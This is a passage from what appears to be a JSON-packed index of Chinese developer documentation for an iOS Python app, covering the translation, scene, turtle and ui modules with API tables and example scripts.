设备端文本翻译(Apple Translation 框架):离线翻译、查询支持语言。 边界 :需 iOS 支持 Translation 框架;首次翻译可能下载语言包。仅文本翻译,不含实时语音同传。 模块概览 项 说明 导入 `import translation` 适合做什么 笔记翻译、多语言 UI 文案、离线翻译 调用时机 `translate()` 放在按钮回调 推荐顺序 `is_available()` → `supported_languages()` → `translate()` 语言码 BCP-47,如 `en`、`zh-Hans`、`ja` 快速开始 import translation\n\nif not translation.is_available():\n print(\"Translation 不可用\")\nelse:\n print(translation.supported_languages())\n text = translation.translate(\"你好,世界\", target=\"en\")\n print(text) 指定源语言: import translation\n\ntext = translation.translate(\"Bonjour\", target=\"zh-Hans\", source=\"fr\")\nprint(text) AppUI 示例 import appui\nimport translation\n\nstate = appui.State(\n available=\"—\",\n source=\"你好,世界\",\n target_lang=\"en\",\n result=\"—\",\n)\n\n\ndef refresh_available():\n state.available = \"是\" if translation.is_available() else \"否\"\n\n\ndef do_translate():\n refresh_available()\n if state.available != \"是\":\n state.result = \"Translation 不可用\"\n return\n\n try:\n state.result = translation.translate(state.source, target=state.target_lang)\n except translation.TranslationError as exc:\n state.result = str(exc)\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"翻译\", [\n appui.TextEditor(text=state.source).frame(min_height=80),\n appui.TextField(\"目标语言\", text=state.target_lang),\n appui.Button(\"翻译\", action=do_translate)\n .button_style(\"bordered_prominent\"),\n ]),\n appui.Section(\"结果\", [\n appui.LabeledContent(\"可用\", value=state.available),\n appui.Text(state.result).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"翻译\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `is_available()` Translation 是否可用 → `bool` `supported_languages()` 支持的语言码列表 `translate(text, target='en', source=None)` 翻译文本 → `str` `TranslationError` 翻译失败异常 translate translate(text, target='en', source=None) — source 省略时自动检测源语言。 translation.translate(\"你好\", target=\"en\")\ntranslation.translate(\"Hello\", target=\"zh-Hans\", source=\"en\") 常见错误 错误写法 后果 修正 未检查 `is_available()` 抛 `TranslationError` 先判断可用性与系统版本 无效语言码 翻译失败 用 `supported_languages()` 核对 在 `body()` 里自动翻译 每次刷新重复请求 放进按钮回调 超长文本一次翻译 可能超时或截断 分段翻译 相关文档 文档 用途 [foundation_models](foundation-models-module) 端侧文本生成(iOS 26+) [speech](speech-module) 语音合成 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "scene-api-reference", + "title": "scene API 参考", + "subtitle": "集中列出 scene 生命周期、节点、Action、Physics 与 Classic 绘图签名。", + "section": "scene / API 参考", + "url": "pages/scene-api-reference/", + "text": "scene API 参考 集中列出 scene 生命周期、节点、Action、Physics 与 Classic 绘图签名。 scene API 参考 scene API Signatures scene api reference scene signatures scene action move_to physicsbody rectangle scene classic draw scene_drawing reference scene API 参考 scene 提供 Pythonista 兼容的 2D 场景 API(Swift SpriteKit 原生能力入口)。适合游戏与动画;表单/列表请用 appui。 运行入口 scene.run(\n scene_instance: Scene,\n *,\n orientation: int = 0,\n frame_interval: int = 1,\n anti_alias: bool = False,\n show_fps: bool = False,\n multi_touch: bool = True,\n) -> None 参数 说明 `orientation` `DEFAULT_ORIENTATION`(0)、`PORTRAIT`(1)、`LANDSCAPE`(2) `frame_interval` `1`≈60fps,`2`≈30fps `show_fps` 左上角显示帧率 `anti_alias` 抗锯齿 `multi_touch` 是否多点触控 run() 阻塞 直到场景视图关闭。关闭时若子类实现了 stop() 会被调用。 Scene 生命周期 方法 时机 `setup()` 场景首次显示前;`self.size` 已设置 `update()` 每帧;可用 `self.dt`、`self.t`、`self.frame_count` `draw()` Classic 模式每帧绘制 `did_evaluate_actions()` 每帧 Action 求值后 `touch_began(touch)` / `touch_moved` / `touch_ended` 触摸事件 `did_change_size()` 尺寸或方向变化 `controller_changed(key, value)` 游戏手柄状态变化 `contact_began(contact)` 物理碰撞(需配置 `contact_test_bitmask`) `present_modal_scene(other)` 叠加模态子场景 `dismiss_modal_scene()` 关闭当前呈现的模态场景 `pause()` / `resume()` App 前后台 `stop()` 场景被用户关闭 场景属性 属性 类型 说明 `size` `Size` 宽 `w`、高 `h` `bounds` `Rect` 场景边界 `background_color` RGBA 元组或颜色名 背景色 `children` `list[Node]` 子节点 `physics_world` `PhysicsWorld` 物理世界 `safe_area_insets` `EdgeInsets` 安全区 `dt` / `t` `float` 帧间隔 / 运行时间(秒) `frame_count` `int` 帧计数 `touches` `dict` 当前活动触摸 节点 Node(基类) Node(position=(0, 0), *, z_position=0, scale=1, alpha=1, parent=None) 常用属性:position、rotation、x_scale、y_scale、alpha、z_position、parent、children、physics_body、blend_mode、paused、speed 常用方法:add_child、remove_from_parent、run_action、remove_action、remove_all_actions SpriteNode SpriteNode(\n texture=None,\n position=(0, 0),\n *,\n size=None,\n color=\"white\",\n z_position=0,\n alpha=1,\n parent=None,\n) 第一个位置参数 texture:图片名、Texture 或 None(纯色块)。 纯色精灵: 必须 color= 关键字,例如 SpriteNode(color=\"red\", size=(40,40))。 LabelNode LabelNode(\n text=\"\",\n font=(\"Helvetica\", 20),\n position=(0, 0),\n *,\n parent=None,\n) 属性 text、font(元组或名称)可读写。 ShapeNode ShapeNode(\n path=None,\n fill_color=\"white\",\n stroke_color=\"clear\",\n position=(0, 0),\n *,\n parent=None,\n) Texture Texture(name_or_image) 属性:size、filtering_mode(FILTERING_LINEAR / FILTERING_NEAREST) Action 工厂静态方法(均需 node.run_action(action) 才会执行): 方法 签名要点 `move_to` `(x, y, duration=0.5, timing_mode=TIMING_LINEAR)` `move_by` `(dx, dy, duration=0.5, timing_mode=...)` `scale_to` `(scale, duration=0.5, ...)` — 统一缩放 `scale_by` 相对缩放 `rotate_to` / `rotate_by` 弧度 `fade_to` / `fade_by` 透明度 `sequence(*actions)` 顺序执行 `group(*actions)` 并行执行 `repeat(action, count)` `count=0` 配合 `repeat_forever` `wait(duration)` 等待 `remove()` 从父节点移除 `call(func_id, ...)` 回调(通过注册 ID) Physics PhysicsBody PhysicsBody.rectangle(width=0, height=0, w=0, h=0)\nPhysicsBody.circle(radius=0, r=0) 附着:node.physics_body = body(自动绑定到 SpriteKit) 属性 说明 `dynamic` 是否受力和碰撞推动 `affected_by_gravity` 是否受重力 `allows_rotation` 是否可旋转 `restitution` 弹性 `friction` 摩擦 `category_bitmask` / `collision_bitmask` / `contact_test_bitmask` 碰撞过滤 PhysicsWorld 通过 scene.physics_world 访问;属性 gravity(Vector2)。 关节 PinJoint(node_a, node_b, anchor)\nSpringJoint(node_a, node_b, anchor_a, anchor_b, *, damping=0.5, frequency=1.0)\nRopeJoint(node_a, node_b, anchor_a, anchor_b) SpringJoint 的 damping、frequency 必须 关键字传递。 Contact contact_began(contact) 收到 Contact:node_a、node_b、contact_point、collision_impulse。 Classic 绘图 仅在 Scene.draw() 内调用。 函数 签名 `background(r, g, b)` 清屏 `fill(r, g, b, a=1)` 填充色 `stroke(r, g, b, a=1)` 描边色 `stroke_weight(w)` 线宽 `rect(x, y, w, h, corner_radius=0)` 矩形 `ellipse(x, y, w, h)` 椭圆外接框 `line(x1, y1, x2, y2)` 线段 `text(txt, font_name='Helvetica', font_size=16, x=0, y=0, alignment=5)` 文字 `image(name, x, y, w, h, ...)` 已加载图片 `translate` / `rotate` / `scale` 变换 `push_matrix` / `pop_matrix` 矩阵栈 尚未实现 ⚠️ 函数 行为 `image_quad(...)` `NotImplementedError` `triangle_strip(...)` `NotImplementedError` 系统与资源 函数 返回 说明 `get_screen_size()` `Size` 屏幕点尺寸 `get_screen_scale()` `float` Retina 缩放 `get_safe_area_insets()` `EdgeInsets` 安全区 `gravity()` `Vector3` 设备加速度方向 `play_effect(name, volume=1, pitch=1)` — 系统音效 `get_image_path(name)` `str` 资源路径 `get_controllers()` `list` 手柄列表 颜色与坐标 颜色可为 'white'、' RRGGBB'、(r,g,b)、(r,g,b,a) 或灰度浮点。 坐标原点在 左下角 ,y 向上增大(与 UIKit/SpriteKit 场景坐标一致)。 使用规则 保留对象用节点;即时绘制用 draw()。 每帧避免创建大量节点、阻塞 I/O、网络请求。 普通业务 UI 不要用 scene 硬做表单。 相关文档 文档 用途 [scene 概览](scene-module) 可运行示例与选型 [scene API 索引](scene-api-index) 名称速查 失败路径 情况 处理 权限被拒绝 在设置中开启权限后,从用户触发的回调重试 设备或能力不可用 先检查返回值或 `is_available()`,再给用户可读提示 用户取消 保留当前界面状态,不要当作成功继续流程 参数或 API 名错误 对照模块 API 参考与 schema,修正后再运行 完整导出索引 以下名称与 scene 模块公开导出一致,供检索与 Agent 覆盖校验: Scene, Node, SpriteNode, LabelNode, ShapeNode, EffectNode, EmitterNode, Action, Texture, Shader, SceneView, Touch, Vector2, Vector3, Size, Rect, Point, EdgeInsets, PhysicsBody, PhysicsWorld, Contact, PinJoint, SpringJoint, RopeJoint, run, get_screen_size, get_screen_scale, gravity, play_effect, get_image_path, get_controllers, get_safe_area_insets, background, fill, no_fill, stroke, no_stroke, stroke_weight, tint, no_tint, rect, ellipse, line, image, text, translate, rotate, scale, push_matrix, pop_matrix, blend_mode, use_shader, load_image, load_image_file, load_pil_image, render_text, unload_image, BLEND_NORMAL, BLEND_ADD, BLEND_MULTIPLY, DEFAULT_ORIENTATION, PORTRAIT, LANDSCAPE, TIMING_LINEAR, TIMING_EASE_IN, TIMING_EASE_IN_2, TIMING_EASE_OUT, TIMING_EASE_OUT_2, TIMING_EASE_IN_OUT, TIMING_SINODIAL, TIMING_EASE_BACK_IN, TIMING_EASE_BACK_OUT, TIMING_EASE_BACK_IN_OUT, TIMING_ELASTIC_IN, TIMING_ELASTIC_OUT, TIMING_ELASTIC_IN_OUT, TIMING_BOUNCE_IN, TIMING_BOUNCE_OUT, TIMING_BOUNCE_IN_OUT, FILTERING_LINEAR, FILTERING_NEAREST 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,请按「失败路径」排查。" + }, + { + "id": "scene-api-index", + "title": "scene API 索引", + "subtitle": "按生命周期、节点、Action、Physics、Classic 绘图与常量查 scene 公开名称。", + "section": "scene / API 参考", + "url": "pages/scene-api-index/", + "text": "scene API 索引 按生命周期、节点、Action、Physics、Classic 绘图与常量查 scene 公开名称。 scene API 参考 scene API Index scene api index scene 索引 classic draw scene_drawing physicsbody action timing constants scene API 索引 按生命周期、节点、Action、Physics、Classic 绘图与常量快速查找 scene 公开名称。 精确签名以 scene API 参考 与 运行时/scene类型存根 为准。 最小入口 import scene\n\n\nclass DemoScene(scene.Scene):\n def setup(self):\n self.background_color = \"black\"\n\n def draw(self):\n scene.fill(1, 1, 1)\n scene.text(\"scene\", x=self.size.w / 2, y=self.size.h / 2, font_size=24)\n\n\nscene.run(DemoScene()) 先看哪一类 你要做什么 先看 启动与关闭场景 `run`、`Scene.setup`、`Scene.stop`(关闭回调) 每帧逻辑 `update`、`dt`、`t`、`frame_count` 精灵 / 文字 / 形状 `SpriteNode`、`LabelNode`、`ShapeNode`、`Texture` 动画 `Action.move_to`、`Action.sequence`、`Action.repeat_forever` 触摸 `touch_began`、`Touch.location` 碰撞 `PhysicsBody`、`contact_began`、`Contact` Classic 画布 `background`、`fill`、`rect`、`ellipse`、`line`、`text` 屏幕与安全区 `get_screen_size`、`get_safe_area_insets` 模态场景 `present_modal_scene`、`dismiss_modal_scene` 索引 模块函数 名称 说明 `run` 运行 `Scene` 子类(阻塞至关闭) `get_screen_size` 屏幕尺寸 → `Size` `get_screen_scale` 屏幕缩放因子 `get_safe_area_insets` 安全区 → `EdgeInsets` `gravity` 设备重力向量 → `Vector3` `play_effect` 播放系统音效 `get_image_path` 解析内置图片路径 `get_controllers` 已连接游戏手柄列表 Classic 绘图 名称 说明 `background` 清屏背景色 `fill` / `no_fill` 填充色 `stroke` / `no_stroke` / `stroke_weight` 描边 `tint` / `no_tint` 着色 `rect` / `ellipse` / `line` 基础图形 `image` / `text` 图片与文字 `translate` / `rotate` / `scale` 变换 `push_matrix` / `pop_matrix` 矩阵栈 `blend_mode` / `use_shader` 混合与着色器 `load_image` / `load_image_file` / `load_pil_image` / `unload_image` 图片资源 `render_text` 预渲染文字纹理 `image_quad` ⚠️ 未实现 `triangle_strip` ⚠️ 未实现 几何与输入 名称 说明 `Point` / `Size` / `Rect` / `Vector2` / `Vector3` 几何类型 `EdgeInsets` 安全区内边距 `Touch` `location`、`prev_location`、`touch_id` `Contact` 物理碰撞回调:`node_a`、`node_b`、`contact_point` 类 名称 说明 `Scene` 场景基类 `SceneView` 嵌入式场景视图(高级) `Node` 节点基类 `SpriteNode` 精灵 `LabelNode` 文字 `ShapeNode` 矢量路径 `EffectNode` 特效节点 `EmitterNode` 粒子发射器 `Texture` 纹理 `Shader` 自定义着色器 `Action` 动作工厂 `PhysicsWorld` / `PhysicsBody` 物理 `PinJoint` / `SpringJoint` / `RopeJoint` 关节约束 Scene 生命周期方法 setup、update、draw、did_evaluate_actions、touch_began、touch_moved、touch_ended、did_change_size、controller_changed、contact_began、present_modal_scene、dismiss_modal_scene、pause、resume、stop Scene 常用属性 size、bounds、background_color、children、physics_world、safe_area_insets、dt、t、frame_count、touches、effects_enabled、crop_rect、view、presented_scene、presenting_scene Action 静态方法 move_to、move_by、rotate_to、rotate_by、scale_to、scale_by、scale_x_to、scale_y_to、fade_to、fade_by、sequence、group、repeat、repeat_forever、wait、remove、call、set_uniform 常量 分组 名称 方向 `DEFAULT_ORIENTATION`、`PORTRAIT`、`LANDSCAPE` 混合 `BLEND_NORMAL`、`BLEND_ADD`、`BLEND_MULTIPLY` 纹理过滤 `FILTERING_LINEAR`、`FILTERING_NEAREST` 缓动 `TIMING_LINEAR`、`TIMING_EASE_IN`、`TIMING_EASE_OUT`、`TIMING_EASE_IN_OUT`、`TIMING_SINODIAL`、`TIMING_BOUNCE_*`、`TIMING_ELASTIC_*`、`TIMING_EASE_BACK_*` 相关文档 文档 用途 [scene 概览](scene-module) 教程、可运行示例、常见错误 [scene API 参考](scene-api-reference) 构造函数与参数详解 失败路径 情况 处理 权限被拒绝 在设置中开启权限后,从用户触发的回调重试 设备或能力不可用 先检查返回值或 `is_available()`,再给用户可读提示 用户取消 保留当前界面状态,不要当作成功继续流程 参数或 API 名错误 对照模块 API 参考与 schema,修正后再运行 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,请按「失败路径」排查。" + }, + { + "id": "scene-module", + "title": "scene", + "subtitle": "2D 场景、精灵节点、触摸、Action 动画、物理与 Classic 绘图。", + "section": "scene / 快速上手", + "url": "pages/scene-module/", + "text": "scene 2D 场景、精灵节点、触摸、Action 动画、物理与 Classic 绘图。 scene 快速上手 2D Sprite Physics Action game scene scene.run previewScene SpriteNode LabelNode Action physics touch_began draw classic draw Pythonista scene 2D game scene Pythonista 风格的 2D 场景运行时:精灵节点、触摸、逐帧 update()、Classic 绘图、动作动画与 SpriteKit 物理。 边界 :scene 适合小游戏、画布动画和物理交互。普通表单、设置页、列表导航请用 appui;教材式海龟绘图用 turtle;主屏小组件用 widget。坐标原点在 左下角 (与 Pythonista 一致)。 模块概览 项 说明 导入 `import scene` 适合做什么 触摸游戏、精灵动画、粒子、碰撞、Classic 画布、手柄输入 入口 定义 `Scene` 子类,脚本末尾**只调用一次** `scene.run(MyScene())` 生命周期 `setup()` 建节点;`update()` 每帧逻辑;`draw()` Classic 绘图;触摸走 `touch_*` 关闭方式 `scene.run()` 会阻塞直到场景关闭(界面上的关闭按钮或系统下滑 dismiss) MiniApp Scene 类型 MiniApp 入口同样是 `scene.run(...)`,不是 `appui.run()` 文档示例 代码块标记 `previewScene`,点「预览」直接打开全屏场景,不弹控制台 sheet 快速开始 点击运行后会打开全屏 2D 场景;触摸屏幕可看到坐标更新。 import scene\n\n\nclass TapDemo(scene.Scene):\n def setup(self):\n self.background_color = (0.08, 0.09, 0.12)\n self.label = scene.LabelNode(\n \"Tap anywhere\",\n font=(\"Helvetica\", 22),\n position=(self.size.w / 2, self.size.h / 2),\n parent=self,\n )\n\n def touch_began(self, touch):\n self.label.text = f\"{touch.location.x:.0f}, {touch.location.y:.0f}\"\n\n\nscene.run(TapDemo(), show_fps=True) 可运行示例 精灵与 Action 动画 SpriteNode 的第一个位置参数是 纹理名 ;纯色块请用关键字 color=。动画用 node.run_action(...) 启动。 import scene\n\n\nclass SpriteDemo(scene.Scene):\n def setup(self):\n self.background_color = \"black\"\n self.box = scene.SpriteNode(\n color=\"cyan\",\n size=(80, 80),\n position=(self.size.w / 2, self.size.h / 2),\n parent=self,\n )\n pulse = scene.Action.sequence([\n scene.Action.scale_to(1.2, 0.5),\n scene.Action.scale_to(0.8, 0.5),\n ])\n self.box.run_action(scene.Action.repeat_forever(pulse))\n\n\nscene.run(SpriteDemo(), show_fps=True) Classic 绘制(draw()) fill、rect、line、text 等 只能在 draw() 里调用。 import scene\n\n\nclass DrawDemo(scene.Scene):\n def draw(self):\n scene.background(0.05, 0.06, 0.08)\n scene.fill(0.2, 0.6, 1.0)\n scene.rect(40, 80, 120, 80, corner_radius=12)\n scene.stroke(1.0, 1.0, 1.0, 0.8)\n scene.stroke_weight(3)\n scene.line(40, 40, 180, 120)\n scene.fill(1, 1, 1)\n scene.text(\"Draw\", x=100, y=130, font_size=20)\n\n\nscene.run(DrawDemo()) 物理与碰撞 给节点设置 physics_body;静态地面设 dynamic = False。需要碰撞回调时重写 contact_began(contact)。 import scene\n\n\nclass PhysicsDemo(scene.Scene):\n def setup(self):\n self.background_color = \"#101820\"\n w, h = self.size.w, self.size.h\n\n floor = scene.SpriteNode(\n color=\"#444\",\n size=(w, 120),\n position=(w / 2, 60),\n parent=self,\n )\n floor_body = scene.PhysicsBody.rectangle(w=w, h=120)\n floor_body.dynamic = False\n floor.physics_body = floor_body\n\n self.ball = scene.SpriteNode(\n color=\"#ff8c42\",\n size=(44, 44),\n position=(w / 2, h - 100),\n parent=self,\n )\n ball_body = scene.PhysicsBody.circle(r=22)\n ball_body.restitution = 0.65\n self.ball.physics_body = ball_body\n\n def touch_began(self, touch):\n self.ball.position = (touch.location.x, touch.location.y)\n\n\nscene.run(PhysicsDemo(), show_fps=True) 模态子场景 主场景 present_modal_scene,子场景 dismiss_modal_scene 关闭。 import scene\n\n\nclass SubScene(scene.Scene):\n def setup(self):\n self.background_color = (0.1, 0.1, 0.15, 0.92)\n self.label = scene.LabelNode(\n \"子场景 — 点一下关闭\",\n font=(\"Helvetica\", 20),\n position=(self.size.w / 2, self.size.h / 2),\n parent=self,\n )\n\n def touch_began(self, touch):\n self.dismiss_modal_scene()\n\n\nclass MainScene(scene.Scene):\n def setup(self):\n self.label = scene.LabelNode(\n \"主场景 — 点一下打开子场景\",\n font=(\"Helvetica\", 20),\n position=(self.size.w / 2, self.size.h / 2),\n parent=self,\n )\n\n def touch_began(self, touch):\n self.present_modal_scene(SubScene())\n\n\nscene.run(MainScene()) 心智模型 入口 :scene.run(SceneSubclass(), ...) 阻塞当前脚本,直到用户关闭场景视图。 初始化 :在 setup() 创建节点、纹理、物理体;此时 self.size 已由运行时注入。 持续逻辑 :轻量状态推进放 update();节点位移/缩放优先 Action,避免每帧新建节点。 自绘 :Classic API(scene.rect 等)只放在 draw();保留式 UI 用 SpriteNode / LabelNode。 触摸 :实现 touch_began / touch_moved / touch_ended,用 touch.location.x/y。 资源 :图片、音效、控制器状态在 setup() 缓存,不要在每帧重复加载。 与 appui / turtle 怎么选 需求 首选 原因 小游戏、Sprite、粒子、碰撞、触摸循环 `scene` 帧循环、节点树、Action、Physics 设置页、列表、图表、导航 `appui` 原生控件与状态管理 Pythonista 命令式 UIKit 控件 `ui` 迁移旧 `ui` 脚本 教材海龟、几何作图 `turtle` API 更简单,无节点/物理 主屏/锁屏展示 `widget` WidgetKit 时间线模型 API 参考 速查 API 作用 `run(scene, *, orientation=0, frame_interval=1, ...)` 全屏运行场景(阻塞至关闭) `Scene` 场景基类:`setup` / `update` / `draw` / `touch_*` `SpriteNode` / `LabelNode` / `ShapeNode` 精灵、文字、矢量形状 `Action.move_to` / `sequence` / `repeat_forever` 节点动画 `PhysicsBody` / `PhysicsWorld` 碰撞与重力 `background` / `fill` / `rect` / `text` Classic 绘图(仅 `draw()`) `get_screen_size()` / `get_safe_area_insets()` 屏幕与安全区 `PORTRAIT` / `LANDSCAPE` `run()` 的方向常量 scene.run() scene.run(\n MyScene(),\n orientation=scene.PORTRAIT, # DEFAULT_ORIENTATION=0, PORTRAIT=1, LANDSCAPE=2\n frame_interval=1, # 1≈60fps,2≈30fps\n anti_alias=True,\n show_fps=True,\n multi_touch=True,\n) IDE / MiniApp 的 Scene 模式 会在内部使用主线程回调(_mode='main');文档里直接运行上述示例即可。 常用节点构造 # 纹理精灵(texture 为资源名或 Texture)\nscene.SpriteNode(\"Player\", position=(100, 200), parent=self)\n\n# 纯色块 — 必须用 color= 关键字,不要把颜色当第一个位置参数\nscene.SpriteNode(color=\"cyan\", size=(60, 60), position=(x, y), parent=self)\n\n# 文字\nscene.LabelNode(\"Hello\", font=(\"Helvetica\", 24), position=(x, y), parent=self)\n\n# 形状\nscene.ShapeNode(fill_color=\"yellow\", stroke_color=\"white\", parent=self) Action Timing Action.move_to(x, y, duration, timing_mode=scene.TIMING_LINEAR) 常用 timing:TIMING_EASE_IN_OUT、TIMING_BOUNCE_OUT 等(见 API 参考)。 Classic 绘图要点 API 说明 `scene.text(txt, x=0, y=0, font_name='Helvetica', font_size=16)` 在 `draw()` 中绘制文字 `scene.rect(x, y, w, h, corner_radius=0)` 矩形;先 `fill` / `stroke` 再画 `scene.image(name, x, y, w, h)` 绘制已加载图片 image_quad、triangle_strip 在兼容层中 尚未实现 ,调用会抛 NotImplementedError。 场景属性(运行时) 属性 说明 `self.size` / `self.size.w` / `self.size.h` 场景尺寸(`Size`,支持 `/ 2` 等向量运算) `self.dt` / `self.t` 帧间隔 / 累计时间(秒) `self.frame_count` 帧计数 `self.physics_world` 物理世界,可改 `gravity` `self.safe_area_insets` 刘海/底栏安全区 完整签名见 scene API 索引 与 scene API 参考。 常见错误 错误写法 后果 修正 `SpriteNode(\"cyan\", ...)` `\"cyan\"` 被当成纹理名 使用 `SpriteNode(color=\"cyan\", ...)` 在 `setup()` 里调用 `scene.rect()` 不显示或行为异常 绘图放进 `draw()` 只创建 `Action.move_to(...)` 不 `run_action` 节点不动 `node.run_action(action)` 脚本里没有 `scene.run(...)` 场景不出现 末尾调用一次 `scene.run(MyScene())` 在 `update()` 里做网络/大文件 I/O 掉帧、卡顿 放后台线程,主线程只改状态 用 `appui.Button` 做场景 HUD API 不存在 用 `LabelNode` + 触摸,或改用 `appui` 表单/设置页整页用 `scene` 难维护 改用 `appui` 的 `Form` / `List` 失败路径 情况 处理 场景不显示 确认调用了 `scene.run(SceneSubclass())`,且 `setup()` 未抛错 触摸无反应 实现 `touch_began` 等,坐标用 `touch.location` 节点在 `(0,0)` 检查 `position=` 是否在 `setup()` 里用 `self.size.w/h` 居中 物理不碰撞 设置 `physics_body`,静态体 `dynamic=False` 关闭后文档里再运行提示忙 等上一次 `scene.run` 完全结束,或先停止当前 Python 运行 相关文档 文档 用途 [scene API 索引](scene-api-index) 按类族快速查名称 [scene API 参考](scene-api-reference) 生命周期、节点、Action、Physics 签名 [turtle](turtle-module) 海龟教学绘图 [appui](appui) 原生表单与导航 UI [ui](ui-module) Pythonista 风格 `ui` 控件 [motion](motion-module) 加速度计/陀螺仪(可与 scene 配合) 先选写法 目标 写法 精灵 / 物理游戏 `Scene` 子类 + 节点树 即时画布 `draw()` + Classic API 教程海龟 [turtle](turtle-module.md) 写 scene 的心智模型 setup() 建节点;update() 做帧逻辑;draw() 只负责即时绘制。 动画优先 Action + run_action,不要阻塞循环。 脚本末尾只调用一次 scene.run(...)。 发布前检查 触摸、暂停、关闭路径可验证 精灵颜色使用 color= 关键字参数 未使用 AppUI 布局 API 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "turtle-module", + "title": "turtle", + "subtitle": "Tk-free 原生 turtle 绘图,兼容教材脚本、填充、多画笔和事件。", + "section": "scene / 快速上手", + "url": "pages/turtle-module/", + "text": "turtle Tk-free 原生 turtle 绘图,兼容教材脚本、填充、多画笔和事件。 scene 快速上手 turtle graphics teaching drawing turtle 海龟 乌龟 draw circle forward onclick ondrag tk-free native turtle turtle Tk free native turtle graphics for teaching scripts and classic turtle programs. 预期效果 运行示例后会出现原生 turtle 画布,绘制填充五角星并等待点击关闭。 适用场景 turtle 是 App 内置模块,用户直接写 import turtle 或 from turtle import 。使用原生绘图能力,不依赖 _tkinter,适合教材代码、几何绘图、填充图形、多画笔、点击/拖拽/键盘/定时器交互。 导入:import turtle 失败路径 情况 应该怎么处理 画布不刷新 静态复杂图使用 `tracer(0)` 后手动调用 `update()`。 教材代码依赖 Tk 对象 `getcanvas()` 只提供常见兼容方法;需要完整桌面 Tk 能力时应改写。 动画过快或卡顿 调整 `speed()`、`delay()`、`ontimer()`,避免超大循环阻塞主线程。 需要游戏物理或精灵 使用 `scene`,不要在 turtle 中手写完整游戏循环。 使用规则 用户代码写法保持标准 turtle 风格;不要提示用户安装 PyPI 上的 turtle 包。 本实现不支持完整 Tk Canvas 对象;getcanvas() 只提供常见兼容占位方法。 复杂静态图优先使用 tracer(0) 后 update();动画用 speed()、ontimer() 或普通 turtle 循环。 iOS 画布支持自动适配内容,用户也可以双指缩放/平移查看大图。 标准示例 import turtle\n\nscreen = turtle.Screen()\nscreen.title(\"Turtle Demo\")\nscreen.bgcolor(\"black\")\nscreen.tracer(0)\n\npen = turtle.Turtle()\npen.shape(\"turtle\")\npen.speed(0)\npen.pensize(2)\npen.color(\"cyan\", \"magenta\")\n\npen.begin_fill()\nfor _ in range(5):\n pen.forward(140)\n pen.right(144)\npen.end_fill()\n\npen.penup()\npen.goto(0, -160)\npen.color(\"white\")\npen.write(\"Native turtle\", align=\"center\", font=(\"Arial\", 18, \"bold\"))\n\nscreen.update()\nscreen.exitonclick() 常用 API 类型 API 说明 class `Screen()` 获取全局 turtle 画布。 class `Turtle()` 创建画笔,支持多 turtle。 motion `forward()`, `backward()`, `goto()`, `setx()`, `sety()`, `home()` 移动与定位。 angle `left()`, `right()`, `setheading()`, `heading()`, `degrees()`, `radians()`, `mode()` 角度、方向和 `logo` 模式。 drawing `pensize()`, `pencolor()`, `fillcolor()`, `color()`, `dot()`, `circle()` 线条、颜色、圆弧和点。 fill `begin_fill()`, `end_fill()`, `filling()` 填充路径。 cursor `shape()`, `shapesize()`, `hideturtle()`, `showturtle()`, `stamp()` 光标、印章和自定义形状。 screen `title()`, `bgcolor()`, `setup()`, `screensize()`, `setworldcoordinates()` 画布配置。 render `tracer()`, `update()`, `speed()`, `delay()` 刷新和动画速度。 events `onclick()`, `ondrag()`, `onrelease()`, `onkey()`, `ontimer()`, `listen()` 触摸、拖拽、键盘和定时器。 dialogs `textinput()`, `numinput()` 系统输入弹窗。 lifecycle `done()`, `mainloop()`, `exitonclick()`, `bye()`, `save()` 等待、关闭和 PNG 保存。 完整公开名称 Screen, Turtle, RawTurtle, TurtleScreen, Pen, Vec2D, Shape, TurtleGraphicsError, forward, fd, backward, back, bk, right, rt, left, lt, goto, setpos, setposition, setx, sety, setheading, seth, home, circle, dot, stamp, clearstamp, clearstamps, undo, speed, position, pos, towards, xcor, ycor, heading, distance, degrees, radians, pendown, pd, down, penup, pu, up, isdown, pensize, width, pencolor, fillcolor, color, begin_fill, end_fill, filling, reset, clear, write, hideturtle, ht, showturtle, st, isvisible, shape, shapesize, turtlesize, resizemode, tilt, tiltangle, settiltangle, bgcolor, bgpic, title, setup, screensize, setworldcoordinates, window_width, window_height, tracer, update, delay, listen, onkey, onkeypress, onkeyrelease, onclick, ondrag, onrelease, onscreenclick, ontimer, textinput, numinput, done, mainloop, exitonclick, bye, getcanvas, colormode, register_shape, addshape, mode, save. 兼容说明 register_shape() / addshape() 支持内置形状、polygon、compound,以及图片文件路径占位。postscript() 在 iOS 上会保存 PNG 路径,不生成 PostScript 文本。" + }, + { + "id": "ui-api-reference", + "title": "ui API 参考", + "subtitle": "集中列出 ui 构造签名、回调入口、工具函数和常量提示。", + "section": "ui / API 参考", + "url": "pages/ui-api-reference/", + "text": "ui API 参考 集中列出 ui 构造签名、回调入口、工具函数和常量提示。 ui API 参考 ui API Signatures ui api reference ui signatures ui constructors ui gesture recognizer ui draw_string ui load_view ui API 参考 ui 是 Pythonista 风格的命令式原生 UI。它适合迁移 Pythonista 风格脚本、手动 frame 布局和需要直接控制 UIKit 风格视图的场景。新 MiniApp 的表单、列表、导航和设置页优先用 appui。 预期效果 示例会展示命令式控件、sender 回调和自定义绘图;API 表用于确认常用控件、布局属性和工具函数。 最小页面 import ui\n\n\ndef tapped(sender):\n sender.title = \"Tapped\"\n\n\nview = ui.View(frame=(0, 0, 320, 220))\nview.name = \"ui demo\"\n\nbutton = ui.Button(frame=(40, 88, 240, 44), title=\"Tap\")\nbutton.action = tapped\n\nview.add_subview(button)\nview.present(\"sheet\") 视图和布局 API 用途 `View(frame=...)` 所有 ui 组件的基类 `view.frame` `(x, y, width, height)` `view.flex` Pythonista 风格自动伸缩规则 `view.add_subview(child)` 添加子视图 `view.remove_from_superview()` 从父视图移除 `view.present(style=\"sheet\")` 展示视图 `view.close()` 关闭视图 `view.layout()` 子类中重写,处理尺寸变化 `view.draw()` 子类中重写,自定义绘制 常用控件 API 用途 `Button(frame=..., title=...)` 按钮,回调用 `button.action = func` `Label(frame=..., text=...)` 文本标签 `TextField(frame=..., placeholder=...)` 单行输入 `TextView(frame=..., text=...)` 多行输入 `ImageView(frame=...)` 